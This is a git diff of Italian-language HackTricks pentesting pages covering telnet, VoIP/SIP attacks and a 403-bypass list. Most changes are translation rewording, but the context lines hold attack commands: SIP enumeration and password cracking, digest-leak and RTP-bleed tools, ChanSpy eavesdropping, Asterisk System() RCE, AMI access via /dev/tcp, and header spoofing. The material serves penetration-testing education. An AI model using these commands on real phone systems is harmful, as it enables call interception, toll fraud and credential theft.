||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,9 +43,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
|||
```
|
||||
Lo script `telnet-ntlm-info.nse` otterrà informazioni NTLM (versioni di Windows).
|
||||
|
||||
Dalla [RFC telnet](https://datatracker.ietf.org/doc/html/rfc854): Nel Protocollo TELNET ci sono varie "**opzioni**" che saranno sanzionate e possono essere utilizzate con la struttura "**DO, DON'T, WILL, WON'T**" per consentire a un utente e a un server di concordare l'uso di un insieme più elaborato (o forse semplicemente diverso) di convenzioni per la loro connessione TELNET. Tali opzioni potrebbero includere la modifica del set di caratteri, la modalità di eco, ecc.
|
||||
Dalla [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Nel Protocollo TELNET ci sono varie "**opzioni**" che saranno sanzionate e possono essere utilizzate con la struttura "**DO, DON'T, WILL, WON'T**" per consentire a un utente e a un server di concordare l'uso di un insieme più elaborato (o forse semplicemente diverso) di convenzioni per la loro connessione TELNET. Tali opzioni potrebbero includere la modifica del set di caratteri, la modalità di eco, ecc.
|
||||
|
||||
**So che è possibile enumerare queste opzioni ma non so come, quindi fammi sapere se sai come.**
|
||||
**So che è possibile enumerare queste opzioni, ma non so come, quindi fammi sapere se sai come.**
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -89,15 +89,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,15 +17,15 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Informazioni di base su VoIP
|
||||
|
||||
Per iniziare a imparare come funziona VoIP controlla:
|
||||
Per iniziare a imparare come funziona il VoIP controlla:
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
|
@ -67,7 +67,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
202 Accepted
|
||||
204 No Notification
|
||||
```
|
||||
**3xx—Risposte di Reindirizzamento**
|
||||
**3xx—Risposte di reindirizzamento**
|
||||
```
|
||||
300 Multiple Choices
|
||||
301 Moved Permanently
|
||||
|
@ -202,12 +202,12 @@ Qualsiasi altra enumerazione OSINT che aiuti a identificare il software VoIP in
|
|||
|
||||
### Network Enumeration
|
||||
|
||||
* **`nmap`** è in grado di scansionare i servizi UDP, ma a causa del numero di servizi UDP scansionati, è molto lento e potrebbe non essere molto preciso con questo tipo di servizi.
|
||||
* **`nmap`** è in grado di scansionare i servizi UDP, ma a causa del numero di servizi UDP scansionati, è molto lento e potrebbe non essere molto accurato con questo tipo di servizi.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** da SIPVicious (`sudo apt install sipvicious`): Localizzerà i servizi SIP nella rete indicata.
|
||||
* `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma puoi modificare il codice in `/usr/share/sipvicious/sipvicious` e cambiarlo.
|
||||
* `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma puoi modificare il codice da `/usr/share/sipvicious/sipvicious` e cambiarlo.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
|
@ -257,11 +257,11 @@ sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1
|
|||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Extension Enumeration
|
||||
### Estrazione delle Estensioni
|
||||
|
||||
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono ai **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare le chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
|
||||
|
||||
* **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un elenco di estensioni dato**.
|
||||
* **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un elenco di estensioni specificato**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
|
@ -283,7 +283,7 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Password Brute-Force - online
|
||||
|
||||
Avendo scoperto il **PBX** e alcuni **interni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** su un interno utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
Avendo scoperto il **PBX** e alcuni **interni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** a un interno utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che un **nome utente** può essere lo stesso dell'interno, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
|
||||
|
@ -306,20 +306,20 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
### VoIP Sniffing
|
||||
|
||||
Se trovi attrezzature VoIP all'interno di una **rete Wifi aperta**, potresti **sniffare tutte le informazioni**. Inoltre, se sei all'interno di una rete più chiusa (connessa tramite Ethernet o Wifi protetto) potresti eseguire **attacchi MitM come** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tra il **PBX e il gateway** per sniffare le informazioni.
|
||||
Se trovi attrezzature VoIP all'interno di una **rete Wifi aperta**, potresti **catturare tutte le informazioni**. Inoltre, se sei all'interno di una rete più chiusa (connessa tramite Ethernet o Wifi protetto) potresti eseguire **attacchi MitM come** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tra il **PBX e il gateway** per catturare le informazioni.
|
||||
|
||||
Tra le informazioni di rete, potresti trovare **credenziali web** per gestire l'attrezzatura, **estensioni** utente, **nome utente**, indirizzi **IP**, persino **password hashate** e **pacchetti RTP** che potresti riprodurre per **ascoltare la conversazione**, e altro ancora.
|
||||
Tra le informazioni di rete, potresti trovare **credenziali web** per gestire l'attrezzatura, **interni** degli utenti, **nome utente**, indirizzi **IP**, persino **password hashate** e **pacchetti RTP** che potresti riprodurre per **ascoltare la conversazione**, e altro ancora.
|
||||
|
||||
Per ottenere queste informazioni potresti utilizzare strumenti come Wireshark, tcpdump... ma uno **strumento appositamente creato per sniffare conversazioni VoIP è** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
Per ottenere queste informazioni potresti utilizzare strumenti come Wireshark, tcpdump... ma uno **strumento appositamente creato per catturare conversazioni VoIP è** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che se **TLS è utilizzato nella comunicazione SIP** non sarai in grado di vedere la comunicazione SIP in chiaro.\
|
||||
Lo stesso accadrà se viene utilizzato **SRTP** e **ZRTP**, i **pacchetti RTP non saranno in chiaro**.
|
||||
Lo stesso accadrà se viene utilizzato **SRTP** e **ZRTP**, **i pacchetti RTP non saranno in chiaro**.
|
||||
{% endhint %}
|
||||
|
||||
#### Credenziali SIP (Password Brute-Force - offline)
|
||||
|
||||
[Controlla questo esempio per comprendere meglio una **comunicazione SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) per imparare come vengono **inviate le credenziali**.
|
||||
[Controlla questo esempio per comprendere meglio una **comunicazione SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) per apprendere come vengono **inviate le credenziali**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** parte di **sipcrack** (`apt-get install sipcrack`): Questi strumenti possono **estrarre** da un **pcap** le **autenticazioni digest** all'interno del protocollo SIP e **bruteforzarle**.
|
||||
```bash
|
||||
|
@ -330,7 +330,7 @@ sipcrack sip-creds.txt -w dict.txt
|
|||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack è uno strumento per decifrare le autenticazioni digest ottenute con il dump di SIPPTS.
|
||||
* **`SIPPTS dcrack`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack è uno strumento per decifrare le autenticazioni digest ottenute con il dump di SIPPTS.
|
||||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -352,7 +352,7 @@ In Asterisk è possibile consentire una connessione **da un indirizzo IP specifi
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Se viene specificato un indirizzo IP, l'host **non avrà bisogno di inviare richieste REGISTER** di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, solitamente 30 minuti, il che significa che in un altro scenario il telefono dovrà REGISTRARSI ogni 30 minuti). Tuttavia, dovrà avere porte aperte che consentano connessioni dal server VoIP per ricevere chiamate.
|
||||
Se viene specificato un indirizzo IP, l'host **non avrà bisogno di inviare richieste REGISTER** di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, solitamente 30 minuti, il che significa che in un altro scenario il telefono dovrà registrarsi ogni 30 minuti). Tuttavia, dovrà avere porte aperte che consentano connessioni dal server VoIP per ricevere chiamate.
|
||||
|
||||
Per definire gli utenti, possono essere definiti come:
|
||||
|
||||
|
@ -379,7 +379,7 @@ Ad esempio, questa configurazione sarebbe vulnerabile:\
|
|||
|
||||
In Asterisk un **contesto** è un contenitore o sezione nominata nel piano di chiamata che **raggruppa insieme estensioni, azioni e regole correlate**. Il piano di chiamata è il componente centrale di un sistema Asterisk, poiché definisce **come vengono gestite e instradate le chiamate in entrata e in uscita**. I contesti vengono utilizzati per organizzare il piano di chiamata, gestire il controllo degli accessi e fornire separazione tra le diverse parti del sistema.
|
||||
|
||||
Ogni contesto è definito nel file di configurazione, tipicamente nel file **`extensions.conf`**. I contesti sono denotati da parentesi quadre, con il nome del contesto racchiuso all'interno di esse. Ad esempio:
|
||||
Ogni contesto è definito nel file di configurazione, solitamente nel file **`extensions.conf`**. I contesti sono denotati da parentesi quadre, con il nome del contesto racchiuso all'interno di esse. Ad esempio:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
|
@ -411,7 +411,7 @@ Chiunque sarà in grado di utilizzare il **server per chiamare qualsiasi altro n
|
|||
Inoltre, per impostazione predefinita, il file **`sip.conf`** contiene **`allowguest=true`**, quindi **qualsiasi** attaccante senza **autenticazione** sarà in grado di chiamare qualsiasi altro numero.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** L'invito SIPPTS verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche consentirci di trasferire la chiamata a un secondo numero esterno.
|
||||
* **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** L'invito SIPPTS verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche permetterci di trasferire la chiamata a un secondo numero esterno.
|
||||
|
||||
Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, puoi accettare richieste INVITE senza autorizzazione. In questo caso, un attaccante può effettuare chiamate senza conoscere alcun utente/password.
|
||||
|
||||
|
@ -450,7 +450,7 @@ exten => 0,104,Dial(LOCAL/${numbers})
|
|||
L'esempio precedente è un caso in cui all'utente viene chiesto di **premere 1 per chiamare** un dipartimento, **2 per chiamare** un altro, o **l'estensione completa** se la conosce.\
|
||||
La vulnerabilità è il fatto che la **lunghezza dell'estensione indicata non viene controllata, quindi un utente potrebbe inserire il timeout di 5 secondi un numero completo e verrà chiamato.**
|
||||
|
||||
### Extension Injection
|
||||
### Iniezione di Estensione
|
||||
|
||||
Utilizzando un'estensione come:
|
||||
```scss
|
||||
|
@ -478,9 +478,9 @@ La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran num
|
|||
4. Quando il telefono viene riattaccato, il **telefono della vittima invia un BYE all'attaccante**
|
||||
5. L'**attaccante emette una risposta 407** che **richiede autenticazione** e emette una sfida di autenticazione
|
||||
6. Il **telefono della vittima fornisce una risposta alla sfida di autenticazione** in un secondo BYE
|
||||
7. L'**attaccante può quindi emettere un attacco di forza bruta** sulla risposta alla sfida sulla sua macchina locale (o rete distribuita ecc.) e indovinare la password
|
||||
7. L'**attaccante può quindi eseguire un attacco di forza bruta** sulla risposta alla sfida sulla sua macchina locale (o rete distribuita, ecc.) e indovinare la password
|
||||
|
||||
* **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak SIPPTS sfrutta la vulnerabilità SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per essere forzato utilizzando SIPPTS dcrack o lo strumento SipCrack.
|
||||
* **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak SIPPTS sfrutta la vulnerabilità SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per eseguire un attacco di forza bruta utilizzando SIPPTS dcrack o lo strumento SipCrack.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
|
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call consente a un **utente web** (che ad esempio potrebbe essere interessato a un prodotto) di **inserire** il proprio **numero di telefono** per essere richiamato. Poi verrà chiamato un commerciale e, quando lui **risponde al telefono**, l'utente sarà **chiamato e connesso con l'agente**.
|
||||
Click2Call consente a un **utente web** (che ad esempio potrebbe essere interessato a un prodotto) di **inserire** il suo **numero di telefono** per essere richiamato. Quindi un commerciale verrà chiamato e, quando lui **risponde al telefono**, l'utente sarà **chiamato e connesso con l'agente**.
|
||||
|
||||
Un profilo Asterisk comune per questo è:
|
||||
```scss
|
||||
|
@ -516,9 +516,9 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Il profilo precedente consente a **QUALSIASI indirizzo IP di connettersi** (se la password è conosciuta).
|
||||
* Per **organizzare una chiamata**, come specificato in precedenza, **non sono necessarie autorizzazioni di lettura** e **solo** **originate** in **scrittura** è necessario.
|
||||
* Per **organizzare una chiamata**, come specificato in precedenza, **non sono necessarie autorizzazioni di lettura** e **solo** **originate** in **scrittura** è necessaria.
|
||||
|
||||
Con queste autorizzazioni, qualsiasi IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
|
||||
Con quelle autorizzazioni, qualsiasi IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -533,7 +533,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando le **estensioni da monitorare** (o tutte) per ascoltare le conversazioni in corso. Questo comando deve essere assegnato a un'estensione.
|
||||
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o componendo il numero dell'estensione.
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, essa **monitorerà** **`tutte`** le estensioni, **inizierà ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. Puoi passare da una conversazione all'altra premendo **`*`**, o segnando il numero dell'estensione.
|
||||
|
||||
È anche possibile utilizzare **`ExtenSpy`** per monitorare solo un'estensione.
|
||||
|
||||
|
@ -557,7 +557,7 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
|
||||
**RTCPBleed** è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilità consente al **traffico RTP (Real Time Protocol)**, che trasporta le conversazioni VoIP, di essere **intercettato e reindirizzato da chiunque su Internet**. Questo avviene perché il traffico RTP bypassa l'autenticazione quando naviga attraverso i firewall NAT (Network Address Translation).
|
||||
|
||||
I proxy RTP cercano di affrontare le **limitazioni NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando è presente il NAT, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tupla IP e porta viene appresa automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di un flusso RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
|
||||
I proxy RTP cercano di affrontare le **limitazioni del NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando è presente il NAT, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tupla IP e porta viene appresa automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di un flusso RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
|
||||
|
||||
Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i loro media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei terminali.
|
||||
|
||||
|
@ -583,7 +583,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```
|
||||
### RCE
|
||||
|
||||
In Asterisk riesci in qualche modo a **aggiungere regole di estensione e ricaricarle** (ad esempio compromettendo un server di gestione web vulnerabile), è possibile ottenere RCE utilizzando il comando **`System`**.
|
||||
In Asterisk riesci in qualche modo a **aggiungere regole di estensione e ricaricarle** (ad esempio compromettendo un server di gestione web vulnerabile), è possibile ottenere RCE utilizzando il **`System`** command.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
|
@ -598,11 +598,11 @@ Se il server **non consente l'uso di determinati caratteri** nel comando **`Syst
|
|||
* **`sip.conf`** -> Contiene la password degli utenti SIP.
|
||||
* Se il **server Asterisk è in esecuzione come root**, potresti compromettere root.
|
||||
* L'**utente root di mysql** potrebbe **non avere alcuna password**.
|
||||
* questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
* questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Contiene la password dell'amministratore del pannello web (FreePBX).
|
||||
* **`FreePBX.conf`** -> Contiene la password dell'utente FreePBXuser utilizzato per accedere al database.
|
||||
* questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
* questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Contiene diverse password in chiaro come la password root di mysql, la password IMAPd, la password dell'amministratore web.
|
||||
* **Diverse cartelle** apparterranno all'utente asterisk compromesso (se non in esecuzione come root). Questo utente può leggere i file precedenti e controlla anche la configurazione, quindi potrebbe far caricare ad Asterisk altri binari con backdoor quando eseguiti.
|
||||
|
@ -630,7 +630,7 @@ Ci sono diversi modi per cercare di ottenere DoS nei server VoIP.
|
|||
|
||||
### Vulnerabilità del sistema operativo
|
||||
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione OS** che lo ha già installato, come: **FreePBX, Elastix, Trixbox**... Il problema con questi è che una volta che funziona, gli amministratori di sistema potrebbero **non aggiornarli più** e le **vulnerabilità** verranno scoperte col tempo.
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione OS** che lo abbia già installato, come: **FreePBX, Elastix, Trixbox**... Il problema con questi è che una volta che funziona, gli amministratori di sistema potrebbero **non aggiornarli più** e le **vulnerabilità** verranno scoperte col tempo.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -647,9 +647,9 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in rapporti persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -35,7 +35,7 @@ Prova a usare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT, DEL
|
|||
|
||||
* **Cambia l'intestazione Host** in un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
|
||||
* **Fuzz HTTP Headers**: Prova a usare le **Intestazioni HTTP**, l'autenticazione HTTP di base e il brute-force NTLM (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
* **Fuzz HTTP Headers**: Prova a usare le **Intestazioni HTTP**, l'autenticazione HTTP Basic e NTLM brute-force (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
